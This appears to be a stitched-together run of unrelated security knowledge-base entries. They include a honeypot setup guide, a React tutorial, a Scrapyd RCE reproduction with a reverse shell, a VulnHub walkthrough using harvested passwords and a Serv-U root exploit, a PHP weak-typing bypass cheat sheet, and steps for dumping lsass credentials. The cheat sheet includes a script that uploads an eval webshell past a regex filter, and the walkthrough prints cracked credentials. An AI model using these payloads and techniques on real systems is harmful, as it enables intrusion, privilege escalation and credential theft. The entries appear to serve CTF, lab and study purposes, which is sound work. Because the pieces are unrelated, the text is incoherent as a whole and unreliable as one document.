# MHN蜜罐 MHN(Modern Honey Network):开源蜜罐,简化蜜罐的部署,同时便于收集和统计蜜罐的数据。用ThreatStream来部署,数据存储在MOngoDB中,安装了入侵检测系统的部署传感器Snort、Kippo、Conpot和Dionaea。收集的信息可以通过Web接口进行展示。 [github地址](https://github.com/threatstream/mhn) ### 支持蜜罐类型 * Snort * Suricata * Dionaea * Conpot * Kippo * Amun * Glastopf * WordPot * ShaockPot * P0f ### MHN架构 ![mhn-1](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/mhn-1.png) ## MHN安装与使用 ### Ubuntu安装MHN ``` # 操作系统:ubuntu16.04 # 下载 git clone https://github.com/threatstream/mhn.git # 安装过程有点久,需要安装很多软件包 cd mhn && sudo ./install.sh # 配置服务器信息,这里的邮箱与密码就是安装完成后的Web后台密码 ``` ![mhn-2](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/mhn-2.png) ``` # 配置splunk与ELK,我这里选择不配置 ``` ![mhn-3](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/mhn-3.png) ### MHN配置 * **部署蜜罐** 在Deploy选项中,选择我们需要部署的蜜罐类型,复制部署脚本进行安装。 * **集成Splunk与ArcSight** ``` cd mhn/scripts/ sudo ./install_hpfeeds-logger-splunk.sh sudo ./install_hpfeeds-logger-arcsight.sh tail -f /var/log/mhn/mhn-splunk.log tail -f /var/log/mhn/mhn-arcsight.log ``` * **禁止数据上报** MHN Server会默认将分析数据上报给Anomali,如果需要禁用此配置,运行如下命令: ``` cd mhn/scripts/ sudo ./disable_collector.sh ``` ## 利用MHN部署蜜罐 ### SSH蜜罐测试 ``` # 蜜罐部署机器:10.10.10.5 # 部署蜜罐:dionaea wget "http://10.10.10.8/api/script/?text=true&script_id=4" -O deploy.sh && sudo bash deploy.sh http://10.10.10.8 pp8D4gPI ``` ![mhn-4](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/mhn-4.png) ``` # 尝试暴力破解攻击 hydra -l root -P password.txt mssql://10.10.10.5 ``` ![mhn-5](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/mhn-5.png) ## 心得体会 * 蜜罐可以存在于各种场景之中(机房、内网、云环境); * 蜜罐产品的思考应该是在防火墙、入侵检测之后,属于提高企业安全水平的辅助产品; * 蜜罐主要部署在企业内网,起到预警与了解攻击中入侵的情况的作用,如:发现员工PC中毒对内网的入侵、转移攻击者注意力等等; * 蜜罐不能设置的太过简单,也不能设置太过复杂; ### 优点 * 内置集成大量的蜜罐系统,且提供一键部署蜜罐的方式; * 支持蜜罐攻击效果图展示,与ArcSight或Splunk集成友好; ### 缺点 * 部署时间需要很长时间(不算缺点吧,网速给力情况下不存在这个问题); * 不支持对蜜罐的集中管理; ## 参考资料 [Build Your Own Honeypot Network In Under An Hour](https://jerrygamblin.com/2017/05/29/build-your-own-honeypot-network-in-under-an-hour/)
sec-knowleage
package org.vulhub; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } }
sec-knowleage
# Scrapyd Pre-Auth Remote Code Execution [中文版本(Chinese version)](README.zh-cn.md) Scrapyd is an application for deploying and running Scrapy spiders. It enables users to deploy (upload) projects and control their spiders using a JSON API. References: <https://www.leavesongs.com/PENETRATION/attack-scrapy.html> ## Start server Execution the following command to start a scrapyd server: ```bash docker compose up -d ``` After scrapyd is deployed, the server is listening on `http://your-ip:6800`. ## Reproduce Build a evil egg archive: ```bash pip install scrapy scrapyd-client scrapy startproject evil cd evil # edit evil/__init__.py, add evil code scrapyd-deploy --build-egg=evil.egg ``` Upload evil egg to the scrapyd server: ```bash curl http://your-ip:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg ``` reverse shell is available: ![](1.png)
sec-knowleage
# Rend Asunder - FLAG0 ## 0x00 Home ![](./imgs/home.png) ## 0x01 Hey! Show me source code! ``` document.write(document.getElementsByTagName('html')[0].innerHTML); ``` ![](./imgs/html.png) The HTML tags don't seem to be used. ## 0x02 Is there secret javascript? ``` document.write(document.getElementsByTagName('script')[0].innerHTML); ``` ![](./imgs/script.png) There isn't seem to be any secrets. ## 0x03 I know secret Is it noscript tag ? ``` document.write(document.getElementsByTagName('noscript')[0].innerHTML); ``` ![](./imgs/flag.png)
sec-knowleage
### 创建一个组件 ```jsx import React,{Component} from 'react'; import ReactDOM from 'react-dom'; ``` 我们在文件头部从 react 的包当中引入了 React ,和 React.js 的组件父类 Component 只要你要写React.js组件,那么就必须要引入这两个东西。 `react-dom`可以帮助我们把这个用来描述 UI 信息的 JavaScript 对象(React 组件)变成 DOM 元素,并且渲染到页面上去。 所以可以总结一下从 JSX 到页面到底经过了什么样的过程 <img src='http://huzidaha.github.io/static/assets/img/posts/44B5EC06-EAEB-4BA2-B3DC-325703E4BA45.png' alt="ReactDOM"> 创建一个组件 ```jsx import React from 'react' import ReactDOM from 'react-dom' ReactDOM.render(<div/>,document.querySelector('#root')) //querySelector():JS原生选择器,类似jq中的$()选择器,功能强大; ``` `ReactDOM.render`功能就是把组件渲染并且构造 DOM 树,然后插入到页面上某个特定的元素上。 **总结**: - JSX语法需要bable进行编译,转为这个方法`React.createElement()` - 标签区分大小写 - 标签必须闭合 - 相邻的JSX元素必须包裹在一个闭合标签内 - class写为className,for写为htmlfor - 使用驼峰命名 - 声明式渲染:可以嵌入变量,变量用 **{}** 包裹 - 在JSX语法中可以嵌入变量和表达式,可以写js语法,但不能用js语句
sec-knowleage
# Election 1 > https://download.vulnhub.com/election/election.7z 靶场IP:`` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.231 1 ⨯ Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 10:14 EDT Nmap scan report for 192.168.32.231 Host is up (0.00067s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 00:0C:29:42:1E:9B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds ``` 访问80端口 ![image-20220911221402615](../../.gitbook/assets/image-20220911221402615.png) 爆破目录,发现`/election`目录 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.32.231 -x php,txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.231 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2022/09/11 10:15:44 Starting gobuster in directory enumeration mode =============================================================== /javascript (Status: 301) [Size: 321] [--> http://192.168.32.231/javascript/] /robots.txt (Status: 200) [Size: 30] /election (Status: 301) [Size: 319] [--> http://192.168.32.231/election/] /phpmyadmin (Status: 301) [Size: 321] [--> http://192.168.32.231/phpmyadmin/] ``` ![image-20220911221649328](../../.gitbook/assets/image-20220911221649328.png) 继续爆破 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.32.231/election -x php,txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.231/election [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2022/09/11 10:17:16 Starting gobuster in directory enumeration mode =============================================================== /media (Status: 301) [Size: 325] [--> http://192.168.32.231/election/media/] /themes (Status: 301) [Size: 326] [--> http://192.168.32.231/election/themes/] /data (Status: 301) [Size: 324] [--> http://192.168.32.231/election/data/] /index.php (Status: 200) [Size: 7003] /admin (Status: 301) [Size: 325] [--> http://192.168.32.231/election/admin/] /lib (Status: 301) [Size: 323] [--> http://192.168.32.231/election/lib/] /languages (Status: 301) [Size: 329] [--> http://192.168.32.231/election/languages/] /js (Status: 301) [Size: 322] [--> http://192.168.32.231/election/js/] /card.php (Status: 200) [Size: 1935] ``` 访问`card.php`,发现一串二进制字符 ``` ┌──(root💀kali)-[/tmp] └─# curl http://192.168.32.231/election/card.php 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110001 00110000 00110000 00100000 00110000 00110000 00110000 00110000 00110001 00110000 00110001 00110000 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110000 00110000 00100000 00110000 00110001 00110001 00110000 00110000 00110000 00110000 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00100000 00110000 00110001 00110000 00110001 00110001 00110000 00110001 00110000 00100000 00110000 00110001 00110001 00110001 00110001 00110000 00110000 00110000 00100000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110000 00110000 00110000 00110000 00110001 00100000 00110000 00110001 00110000 00110000 00110000 00110000 00110000 00110000 00100000 00110000 00110000 00110001 00110000 00110000 00110000 00110001 00110001 ``` 解码 ``` user:1234 pass:Zxc123!@# ``` 登录后台 ![image-20220911222104165](../../.gitbook/assets/image-20220911222104165.png) 在日志找到账号和密码 ![image-20220911222143613](../../.gitbook/assets/image-20220911222143613.png) ``` username : love password : P@$$w0rd@123 ``` ssh登录 ``` ┌──(root💀kali)-[/tmp] └─# ssh love@192.168.32.231 The authenticity of host '192.168.32.231 (192.168.32.231)' can't be established. ECDSA key fingerprint is SHA256:erz9C9WEWhhV5KMnnpxYEiDQ015ORbFLU/4HNeyevdQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.32.231' (ECDSA) to the list of known hosts. love@192.168.32.231's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 74 packages can be updated. 28 updates are security updates. Your Hardware Enablement Stack (HWE) is supported until April 2023. Last login: Thu Apr 9 23:19:28 2020 from 192.168.1.5 love@election:~$ id uid=1000(love) gid=1000(love) groups=1000(love),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare) love@election:~$ sudo -l [sudo] password for love: Sorry, user love may not run sudo on election. ``` 在检查 SUID 文件时,`/usr/local/Serv-U/Serv-U`对我来说似乎很可疑。 ``` love@election:~$ find / -perm -4000 2>/dev/null /usr/bin/arping /usr/bin/passwd /usr/bin/pkexec /usr/bin/traceroute6.iputils /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/sbin/pppd /usr/local/Serv-U/Serv-U /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/xorg/Xorg.wrap /bin/fusermount /bin/ping /bin/umount /bin/mount /bin/su /home/love ``` 我检查了`/usr/local/Serv-U`目录并找到了 Serv-U 版本 ``` love@election:~$ cd /usr/local/Serv-U love@election:/usr/local/Serv-U$ cat Serv-U-StartupLog.txt [01] Mon 12Sep22 03:43:34 - Serv-U File Server (64-bit) - Version 15.1 (15.1.6.25) - (C) 2017 SolarWinds Worldwide, LLC. All rights reserved. [01] Mon 12Sep22 03:43:34 - Build Date: Wednesday, November, 29, 2017 11:28 AM [01] Mon 12Sep22 03:43:34 - Operating System: Linux 64-bit; Version: 5.3.0-46-generic [01] Mon 12Sep22 03:43:34 - Loaded graphics library. [01] Mon 12Sep22 03:43:34 - Unable to load ODBC database libraries. Install package "unixODBC" to use a database within Serv-U. [01] Mon 12Sep22 03:43:34 - Loaded SSL/TLS libraries. [01] Mon 12Sep22 03:43:34 - Loaded SQLite library. [01] Mon 12Sep22 03:43:34 - FIPS 140-2 mode is OFF. [01] Mon 12Sep22 03:43:34 - LICENSE: Running beyond trial period. Serv-U will no longer accept connections. [01] Mon 12Sep22 03:43:34 - Socket subsystem initialized. [01] Mon 12Sep22 03:43:34 - HTTP server listening on port number 43958, IP 127.0.0.1 [01] Mon 12Sep22 03:43:34 - HTTP server listening on port number 43958, IP ::1 ``` 这是我在 searchsploit 上发现的一个漏洞。 ``` ┌──(root💀kali)-[/tmp] └─# searchsploit Serv-U 15.1 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1) | linux/local/47009.c Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2) | multiple/local/47173.sh ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` 我转移`47009.c`到服务器并通过执行我们获得root访问权限。 ![image-20230208135007594](../../.gitbook/assets/image-20230208135007594.png)
sec-knowleage
--- title: 利用 IAM 进行权限提升 --- <center><h1>利用 IAM 进行权限提升</h1></center> --- 如果当前用户具备编辑 IAM 策略的权限,但没有某些服务权限的话,那么可以在 IAM 中开启这个服务权限,以实现提权。 例如下面这个用户,在打开 EC2 时提示我们没有权限。 </br><img width="1000" src="/img/1651980039.png"></br> 但是这个用户是具有 IAM 的编辑权限的,因此我们可以将 AmazonEC2FullAccess 权限赋予给这个用户 </br><img width="800" src="/img/1651980063.png"></br> 此时再次访问 EC2 界面,发现就可以成功访问了,这样就实现了提权。 </br><img width="900" src="/img/1651980101.png"></br> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年5月8日" } } </script>
sec-knowleage
# 弱类型 --- **相关文章 & Source & Reference** - [PHP弱类型你真的懂了吗?](https://mp.weixin.qq.com/s/eGPBCF6AmJ0Sb1Yd_sjVnw) - [php 弱类型总结](https://www.cnblogs.com/mrsm1th/p/6745532.html) - [PHP弱类型hash比较缺陷](https://www.cnblogs.com/yesec/p/12232075.html) - [ctf php弱类型、松散比较、哈希缺陷、MD5绕过、变量覆盖](https://blog.csdn.net/q20010619/article/details/105800223) - [浅谈md5弱类型比较和强碰撞](https://mp.weixin.qq.com/s/JGKD3LsJGu0Z81FmPzir-w) - [MD5相关](https://npfs06.top/2021/02/19/MD5%E7%9B%B8%E5%85%B3/) - [preg_match绕过总结](https://www.cnblogs.com/20175211lyz/p/12198258.html) - [PHP利用PCRE回溯次数限制绕过某些安全限制](https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html) **相关 writeup** - [ISITDTU CTF 2019 EasyPHP 回顾](https://blog.zeddyu.info/2019/07/20/isitdtu-2019/) --- ## 松散比较 php中有两种比较的符号 == 与 === * 严格比较 : `===` 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较 * 松散比较 : `==` 在进行比较的时候,会先将字符串类型转化成相同,再比较,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行 ```php <?php var_dump("admin"==0); //true var_dump("1admin"==1); //true var_dump("admin1"==1) //false var_dump("admin1"==0) //true var_dump("0e123456"=="0e4456789"); //true ?> ``` 观察上述代码,"admin"==0 比较的时候,会将 admin 转化成数值,强制转化, 由于 admin 是字符串,转化的结果是 0 自然和 0 相等 "1admin"==1 比较的时候会将 1admin 转化成数值, 结果为 1 "0e123456"=="0e456789" 相互比较的时候,会将 0e 这类字符串识别为科学技术法的数字,0 的无论多少次方都是零,所以相等 “admin1“==1 却等于错误,也就是 "admin1" 被转化成了 0, 为什么呢?? - 当一个字符串被当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为 0。 ```php <?php $test=1 + "10.5"; // $test=11.5(float) $test=1+"-1.3e3"; //$test=-1299(float) $test=1+"bob-1.3e3"; //$test=1(int) $test=1+"2admin"; //$test=3(int) $test=1+"admin2"; //$test=1(int) ?> ``` --- ## Hash比较缺陷 CTF 比赛中需要用到弱类型 HASH 比较缺陷最明显的标志便是管理员密码 MD5 之后的值是以 0e 开头 ```php <?php if (isset($_GET['Username']) && isset($_GET['password'])) { $logined = true; $Username = $_GET['Username']; $password = $_GET['password']; if (!ctype_alpha($Username)) {$logined = false;} if (!is_numeric($password) ) {$logined = false;} if (md5($Username) != md5($password)) {$logined = false;} if ($logined){ echo "successful"; }else{ echo "login failed!"; } } ?> ``` 题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较 0e 在比较的时候会将其视作为科学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0。 ``` ej0D ek06 el08 eo0n ey0M ey0O ez0s e006 e10l eU3Z eW3vfSoL fToh fTo1 fUoU fYou fapF fbpf fdpF fnpZ fppr fqpa frpj fwpD fyp5 f1p2 f4pN f7pu fDpQ fHpP fIp4 fJpX fLpv fOpi fQp3 fTpi fVpz feqN fjqN fvq1 fyqy fAqJ fEqk fFqg fFqi fHqX fIqF fKqh fLq6 fQq6 fQqA fRql fUq4 fUqA fXq0 farg farJ ftrT f7rm fCrB fErY fIrt QNKCDZO s878926199a s155964671a s214587387a s214587387a s878926199a 240610708 314282422 s1502113478a s1091221200a ``` 以上字符 md5 开头都是 0e,即可绕过验证 可以用下列脚本寻找 ```php <?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^0e\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } } ``` ### 双md5结果仍为0e开头字符串 ``` CbDLytmyGm2xQyaLNhWn md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18 md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af 770hQgrBOjrcqftrlaZk md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625 md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064 7r4lGXCH2Ksu2JNT3BYM md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849 md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f ``` ### $md5=md5($md5) ``` md5('0e215962017') ==> “0e291242476940776845150308577824” ``` ### md5($str,true)注入 ``` ffifdyop 4SV7p bJm4aG bNas5p ckHAEb ``` ### md5 强比较 ``` 二进制md5加密 b8c21b7bfde6adea3a438f22e6672789 url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5Bn_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF_%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%5Ck6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8S8%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%9C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%88%ABS%19%2C 二进制md5加密 b8c21b7bfde6adea3a438f22e6672789 url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5B%EE_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF%DF%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%DCk6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8%D38%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%1C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%08%ABS%19%2C ``` ``` %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 ``` ### MD4 ```php if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) { die('level 1 failed'); } //0e251288019 //0e898201062 ``` ### MD2 ```php <?php for($i=0;$i<99999;$i++){ $x1=hash("md2", '0e'.$i.'024452'); if(substr($x1,0,2)==='0e' and is_numeric($x1)){ break; } } for($j=0;$j<999999;$j++){ $x2=hash('md2',hash("md2", '0e'.$j.'48399')); if(substr($x2,0,2)==='0e' and is_numeric($x2)){ break; } } print('b=0e'.$i.'024452&c=0e'.$j.'48399'); ?> // b=0e652024452&c=0e603448399 ``` ### shal ```php if(sha1($v1)==sha1($v2) && $v1!=$v2){ // aaroZmOk // aaK1STfY // aaO8zKZF // aa3OFF9m ``` --- ## 布尔欺骗 当存在 json_decode 和 unserialize 时,部分结构会被解释为 bool 类型,会造成欺骗 ```php <?php if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $key ="*********"; if ($message->key == $key) { echo "flag"; } else { echo "fail"; } } else{ echo "~~~~"; } ?> ``` 输入一个 json 类型的字符串,json_decode 函数解密成一个数组,判断数组中 key 的值是否等于 $key 的值,但是 $key 的值我们不知道,但是可以利用 0=="admin" 这种形式绕过 最终 payload message={"key":0} --- ## 数字转换欺骗 ```php var_dump(intval('2')) # 输出为 int(2) var_dump(intval('3bc')) # 输出为 int(3) var_dump(intval('abcd')) # 输出为 int(0) #intval() 用于获取变量的整数值 var_dump(0.9999999999999999999==1) # 输出为 true ``` ```php <?php echo 6e6; # 输出为 6000000 echo (int)'6e6'; # 输出为 6 ``` --- ## strcmp 绕过 strcmp 是比较两个字符串,如果 str1 < str2 则返回 < 0 如果 str1 大于 str2 返回> 0 如果两者相等 返回 0 ```php <?php $password="***************"; if(isset($_POST['password'])){ if (strcmp($_POST['password'], $password) == 0) { echo "Right!!!login success"; exit(); } else { echo "Wrong password.."; }} ?> ``` 我们是不知道 $password 的值的,题目要求 strcmp 判断的接受的值和 $password 必需相等,strcmp 传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢 我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等 payload: password[]=xxx --- ## switch 绕过 ```php <?php $a="4admin"; switch ($a) { case 1: echo "fail1"; break; case 2: echo "fail2"; break; case 3: echo "fail3"; break; case 4: echo "sucess"; //结果输出success; break; default: echo "failall"; break; } ?> ``` switch() 其中 `()` 内的值会被弱类型转换 --- ## array_search is_array 绕过 ```php <?php if(!is_array($_GET['test'])){exit();} $test=$_GET['test']; for($i=0;$i<count($test);$i++){ if($test[$i]==="admin"){ echo "error"; exit(); } $test[$i]=intval($test[$i]); } if(array_search("admin",$test)===0){ echo "flag"; } else{ echo "false"; } ?> ``` 先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和 admin 相等,并且将每个值转化为 int 类型,再判断传入的数组是否有 admin,有则返回 flag payload test[]=0 可以绕过 下面是官方手册对 array_search 的介绍 `mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )` $needle,$haystack 必需,$strict 可选 函数判断 $haystack 中的值是存在 $needle,存在则返回该值的键值 第三个参数默认为 false,如果设置为 true 则会进行严格过滤 ```php <?php $a=array(0,1); var_dump(array_search("admin",$a)); // int(0) => 返回键值0 var_dump(array_search("1admin",$a)); // int(1) ==>返回键值1 ?> ``` array_search 函数 类似于 == 也就是 `$a=="admin"` 当然是 `$a=0` 当然如果第三个参数为 true 则就不能绕过 --- ## preg_match 绕过 **数组绕过** preg_match 只能处理字符串,当传入的 subject 是数组时会返回 false **PCRE 回溯次数限制** ```php <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(!is_php($input)) { // fwrite($f, $input); ... } ``` pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为 1000000,如果回溯次数超过这个数字,preg_match 会返回 false ```py import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://1.1.1.1:8088/index.php', files=files, allow_redirects=False) print(res.headers) ``` 很多基于 PHP 的 WAF,如: ```php if(preg_match('/SELECT.+FROM.+/is', $input)) { die('SQL Injection'); } ``` 均存在上述问题,通过大量回溯可以进行绕过。 还有一种是 ```php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); } ``` 回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF. 当使用 `===` 全等号匹配时,不会有这个问题 ```php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(is_php($input) === 0) { // fwrite($f, $input); ... } ``` **换行符** `.` 不会匹配换行符,如 ```php if (preg_match('/^.*(flag).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } ``` 只需要 ``` $json="\nflag" ``` 而在非多行模式下,`$` 似乎会忽略在句尾的 `%0a` ```php if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { echo $flag; } ``` 只需要传入 ``` ?a=flag%0a ```
sec-knowleage
version: '2' services: discuz: image: vulhub/discuz:x3.4 depends_on: - db ports: - "80:80" db: image: mysql:5.5 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: ultrax
sec-knowleage
# T1003-win-使用Windows任务管理器转储Lsass.exe内存 ## 来自ATT&CK的描述 凭据转储是从操作系统和软件获取账号登录名和密码(哈希或明文密码)信息的过程。然后可以使用凭据来执行横向移动并访问受限制的信息。 攻击者和专业安全测试人员都可能会使用此技术中提到的几种工具。也可能存在其他自定义工具。 ## 测试案例 lsass.exe的内存经常被转储用于离线凭证窃取攻击。这可以通过Windows任务管理器和管理权限来实现 ## 检测日志 暂无, 经过实际测试,未发现存在windows安全日志记录,未对其他类型日志进行分析。 ## 测试复现 按照这些步骤执行: 1. 打开任务管理器:在Windows系统上,这可以通过按”CTRL-ALT-DEL“并选择任务管理器或右键单击任务栏并选择“任务管理器”来完成。 2. 选择lsass.exe:如果lsass.exe不可见,请选择“显示所有用户的进程”。这将允许你看到lsass.exe的执行并选择它进行操作。 3. 转储lsass.exe内存:在任务管理器中右键单击lsass.exe。选择“创建转储文件”。弹出对话框将显示保存文件的路径。 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 无 ## 参考推荐 MITRE-ATT&CK-T1003 <https://attack.mitre.org/techniques/T1003/> Dump Lsass内存转储新旧方法 <https://www.cnblogs.com/zUotTe0/p/14553082.html>
sec-knowleage
